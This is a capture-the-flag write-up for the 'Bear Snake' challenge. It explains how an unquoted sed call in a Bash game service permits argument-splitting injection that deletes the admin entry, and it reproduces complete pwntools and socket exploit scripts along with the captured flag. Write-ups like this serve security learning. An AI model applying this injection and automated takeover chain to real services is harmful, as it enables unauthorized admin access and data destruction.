Skip to content

SECURE_CONNECTION//PRESS[CTRL+J]FOR ROOT ACCESS

BACK TO INTEL
ReverseMedium

Bear Snake

CTF writeup for Bear Snake from AmeteurCTF

//Bear Snake Challenge Writeup

>1. Challenge Overview

The service is a Bash implementation of snake (snake/snake.sh) that exposes a text menu over TCP. Players can register, log in, play, manage their account, and—if they ever inherit the admin role—invoke /readflag. The critical bug is the unquoted account-deletion routine:

sed -i "/^$uid$/d" /srv/app/data/uids.txt

Because $uid is never quoted, we can inject extra sed programs by appending space-separated tokens to the UID. Logging in with UID /d;1d;/ makes sed process /d;1d;/ as a second script that deletes every line and then deletes line 1. After the original admin entry is wiped, the very next registration becomes UID #0 in uids.txt, which grants admin privileges on login. Regex metacharacters such as .\{0,\} also work, but the argument-splitting exploit is deterministic on every instance.

>2. Local Files and Their Roles

| Path | Purpose |

| --- | --- |

| snake/snake.sh | Main Bash game/menu, contains the vulnerable sed -i call. |

| snake/login.py | Authenticates UID/password pairs; the first UID in uids.txt is admin. |

| snake/make_admin.py | Seeds /srv/app/data with a random admin on start. |

| snake/readflag & readflag.c | Setuid helper that prints /flag.txt. |

| snake/run | Launch wrapper used in the remote container (make_admin.py + socat). |

| local_exploit.py | Local harness for regression testing. |

| remote_flag.py | Final socket-based exploit script (argument-splitting method). |

| login_stub.sh, test_*.sh, etc. | Tiny probes that examined how Bash read treats spaces, escapes, and command substitutions. |

The /srv/app/data/ tree on my host mirrors the remote instance, so every exploit step can be rehearsed locally.

>3. What Has Been Achieved So Far

  1. Vulnerability identification – Confirmed that the unquoted sed -i "/^$uid$/d" call is exploitable both via regex metacharacters and via injected sed programs delivered through argument splitting.

  2. Input-behavior research – Built helper harnesses (login_stub.sh, test_read.sh, etc.) showing that Bash read preserves spaces, so UID␠/d;1d;/ reaches both login.py and sed intact.

  3. Local automation – Extended local_exploit.py and several pwntools throwaways to repeatedly run the register → payload login → delete → re-register chain locally, proving the concept even though /readflag itself crashes on my Ubuntu environment.

  4. Remote automation – Replaced the earlier regex-only tooling with a socket workflow (remote_flag.py) that performs the argument-splitting exploit from scratch, complete with logging and timeouts.

  5. Successful remote run – Executed the new script against amt.rs:40575 and captured the correct flag amateursCTF{y0u_ar3_th3_r3al_w1nn3r_0f_sn4k3}.

>4. Lessons from the Failed Regex Attempt

Earlier infrastructure shipped with a seeded regex UID (.\{0,\}), so the first remote solve reused that entry. Later instances dropped it, and the regex-only exploit stalled. The key realization was that $input_uid is reused—unquoted—in both ./login.py $input_uid $input_passwd and sed -i "/^$uid$/d" .... Anything appended after the UID therefore becomes a new shell argument and a second sed script. Registering normally (password /d;1d;/), logging in with UID /d;1d;/, and choosing settings -> delete deterministically removes the original admin, letting the next registration become UID #0.

>5. Full List of Scripts and Code Used

local_exploit.py

python

#!/usr/bin/env python3

"""Local end-to-end exploit harness for the Bear Snake challenge."""

from __future__ import annotations

  

import re

import subprocess

import sys

from pathlib import Path

  

from pwn import context, process

  

ROOT = Path(__file__).resolve().parent

APP_DIR = ROOT / 'snake'

DATA_DIR = Path('/srv/app/data')

PASS_DIR = DATA_DIR / 'passwd'

UIDS_FILE = DATA_DIR / 'uids.txt'

REGEX_UID = '.\\{0,\\}'

REGEX_PASSWORD = 'pw'

  

def escape_for_read(value: str) -> bytes:

    """Return bytes that survive bash's read (which strips single backslashes)."""

    return value.replace('\\', '\\\\').encode()

  

def seed_regex_account() -> None:

    """Reset admin state and append the regex-controlled user."""

    subprocess.run([sys.executable, str(APP_DIR / 'make_admin.py')], check=True)

    UIDS_FILE.parent.mkdir(parents=True, exist_ok=True)

    PASS_DIR.mkdir(parents=True, exist_ok=True)

    lines = UIDS_FILE.read_text().splitlines()

    if REGEX_UID not in lines:

        with UIDS_FILE.open('a', encoding='utf-8') as handle:

            handle.write(f'{REGEX_UID}\n')

    (PASS_DIR / f'{REGEX_UID}.txt').write_text(REGEX_PASSWORD, encoding='utf-8')

  

def main() -> None:

    seed_regex_account()

    context.log_level = 'error'

    sh = process([str(APP_DIR / 'snake.sh')], cwd=str(APP_DIR))

  

    def expect(prompt: bytes) -> bytes:

        return sh.recvuntil(prompt)

  

    # Step 1: login as the regex user and delete every UID via sed regex injection.

    expect(b'> ')

    sh.sendline(b'login')

    expect(b'UID: ')

    sh.sendline(escape_for_read(REGEX_UID))

    expect(b'Password: ')

    sh.sendline(REGEX_PASSWORD.encode())

    expect(b'> ')

    sh.sendline(b'settings')

    expect(b'> ')

    sh.sendline(b'delete')

    expect(b'Account deleted.')

    expect(b'> ')

  

    # Step 2: register a fresh account, which becomes the new admin entry.

    sh.sendline(b'register')

    banner = expect(b'Password: ')

    match = re.search(rb'UID: (\d+)', banner)

    if not match:

        raise RuntimeError('Failed to capture UID during registration')

    admin_uid = match.group(1)

    sh.sendline(REGEX_PASSWORD.encode())

    expect(b'> ')

    sh.sendline(b'settings')

    expect(b'> ')

    sh.sendline(b'logout')

    expect(b'> ')

  

    # Step 3: login as the freshly-registered admin and grab the flag.

    sh.sendline(b'login')

    expect(b'UID: ')

    sh.sendline(admin_uid)

    expect(b'Password: ')

    sh.sendline(REGEX_PASSWORD.encode())

    expect(b'> ')

    sh.sendline(b'flag')

    expect(b'Flag: ')

    try:

        flag = sh.recvline(timeout=2).decode().strip()

    except EOFError:

        flag = '[readflag unavailable locally]'

    print(flag)

    sh.close()

  

if __name__ == '__main__':

    main()

Even though this harness still seeds the regex account (useful for regression testing), the final exploit path no longer depends on that user.

remote_flag.py

python

#!/usr/bin/env python3

"""Automate the sed-based Bear Snake exploit using argument splitting."""

  

from __future__ import annotations

  

import argparse

import re

import socket

from contextlib import closing

  

DEFAULT_HOST = 'amt.rs'

DEFAULT_PORT = 34969

PAYLOAD_PASSWORD = '/d;1d;/'

SOCKET_TIMEOUT = 5

  
  

def log(message: str) -> None:

    print(f'[*] {message}')

  
  

def recv_until(sock: socket.socket, marker: bytes) -> bytes:

    data = bytearray()

    while marker not in data:

        chunk = sock.recv(4096)

        if not chunk:

            raise ConnectionError('Connection closed while waiting for marker')

        data.extend(chunk)

    return bytes(data)

  
  

def send_line(sock: socket.socket, line: str) -> None:

    sock.sendall(line.encode() + b'\n')

  
  

def expect_prompt(sock: socket.socket) -> None:

    recv_until(sock, b'> ')

  
  

def register_with_payload(sock: socket.socket) -> str:

    log('Registering payload account')

    send_line(sock, 'register')

    banner = recv_until(sock, b'Password: ')

    match = re.search(rb'UID: (\d+)', banner)

    if not match:

        raise RuntimeError('Failed to capture UID during registration')

    uid = match.group(1).decode()

    send_line(sock, PAYLOAD_PASSWORD)

    expect_prompt(sock)

    return uid

  
  

def logout_from_user_menu(sock: socket.socket) -> None:

    log('Logging out back to main menu')

    send_line(sock, 'settings')

    expect_prompt(sock)

    send_line(sock, 'logout')

    expect_prompt(sock)

  
  

def login_with_sed_payload(sock: socket.socket, uid: str) -> None:

    log(f'Logging in with sed payload based on UID {uid}')

    send_line(sock, 'login')

    recv_until(sock, b'UID: ')

    send_line(sock, f'{uid} {PAYLOAD_PASSWORD}')

    recv_until(sock, b'Password: ')

    send_line(sock, PAYLOAD_PASSWORD)

    banner = recv_until(sock, b'> ')

    if b'Login failed' in banner:

        log(banner.decode(errors='ignore'))

        raise RuntimeError('Sed payload login was rejected')

  
  

def delete_accounts(sock: socket.socket) -> None:

    log('Triggering account deletion via sed injection')

    send_line(sock, 'settings')

    expect_prompt(sock)

    send_line(sock, 'delete')

    recv_until(sock, b'Account deleted.')

    expect_prompt(sock)

  
  

def register_new_admin(sock: socket.socket) -> str:

    log('Registering new admin after wipe')

    uid = register_with_payload(sock)

    logout_from_user_menu(sock)

    return uid

  
  

def login_as_admin(sock: socket.socket, uid: str) -> None:

    log(f'Logging back in as new admin UID {uid}')

    send_line(sock, 'login')

    recv_until(sock, b'UID: ')

    send_line(sock, uid)

    recv_until(sock, b'Password: ')

    send_line(sock, PAYLOAD_PASSWORD)

    banner = recv_until(sock, b'> ')

    if b'Login failed' in banner:

        log(banner.decode(errors='ignore'))

        raise RuntimeError('Admin login failed unexpectedly')

  
  

def grab_flag(sock: socket.socket) -> str:

    send_line(sock, 'flag')

    recv_until(sock, b'Flag: ')

    flag_line = recv_until(sock, b'\n').decode(errors='ignore').strip()

    return flag_line

  
  

def exploit(host: str, port: int) -> str:

    with closing(socket.create_connection((host, port))) as sock:

        sock.settimeout(SOCKET_TIMEOUT)

        expect_prompt(sock)

        uid = register_with_payload(sock)

        logout_from_user_menu(sock)

        login_with_sed_payload(sock, uid)

        delete_accounts(sock)

        admin_uid = register_new_admin(sock)

        login_as_admin(sock, admin_uid)

        return grab_flag(sock)

  
  

def parse_args() -> argparse.Namespace:

    parser = argparse.ArgumentParser(description=__doc__)

    parser.add_argument('--host', default=DEFAULT_HOST, help='Target host (default: %(default)s)')

    parser.add_argument('--port', type=int, default=DEFAULT_PORT, help='Target port (default: %(default)s)')

    return parser.parse_args()

  
  

def main() -> None:

    args = parse_args()

    flag = exploit(args.host, args.port)

    print(flag)

  
  

if __name__ == '__main__':

    main()

Helper snippets

  • login_stub.sh – minimal wrapper that pipes two read calls into login.py so I could observe argument splitting directly.

  • remote_exploit.sh / remote_nc.py – early TCP harnesses used during the reconnaissance phase.

  • test_read.sh, test_backtick.sh, test_eval.sh, test_proc.sh, test_reg.sh, test_inject.sh, test_proc_sub.sh – quick experiments proving that command substitution, backticks, or <() tricks cannot beat the read + DEBUG-trap hardening.

All helper files remain in the repo for reproducibility, but only remote_flag.py is needed to hit the live service now.

>6. Current Status

  • Local: The argument-splitting chain is fully reproducible via pwntools or over TCP (provided the process runs from its own directory). /readflag still exits early on my host due to loader issues, but the admin menu is consistently reachable.

  • Remote: Running python3 remote_flag.py --host amt.rs --port 40575 prints amateursCTF{y0u_ar3_th3_r3al_w1nn3r_0f_sn4k3} and leaves the Super Secret Admin Menu prompt open. No seeded accounts or guesses were required.

  • Artifacts: Scripts, helper harnesses, and this writeup are all up to date so the solve can be replayed or audited quickly.

>7. Recap of Results

  • ✅ Local proof-of-concept exploit (regex seeding + argument-splitting attack).

  • ✅ Socket automation that performs the full exploit chain unaided.

  • ✅ Verified remote flag: amateursCTF{y0u_ar3_th3_r3al_w1nn3r_0f_sn4k3}.

  • ✅ Documentation and tooling checked into the workspace for repeatability.

Everything needed to reproduce the solve—commands, scripts, and analysis—is now in the repository.